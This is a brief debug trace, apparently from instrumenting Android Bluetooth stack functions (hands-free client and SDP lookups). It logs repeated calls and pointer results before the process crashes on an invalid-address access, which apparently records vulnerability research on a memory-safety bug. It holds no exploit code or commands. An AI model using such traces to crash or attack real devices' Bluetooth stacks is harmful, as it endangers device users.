bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 Process crashed: Bad access due to invalid address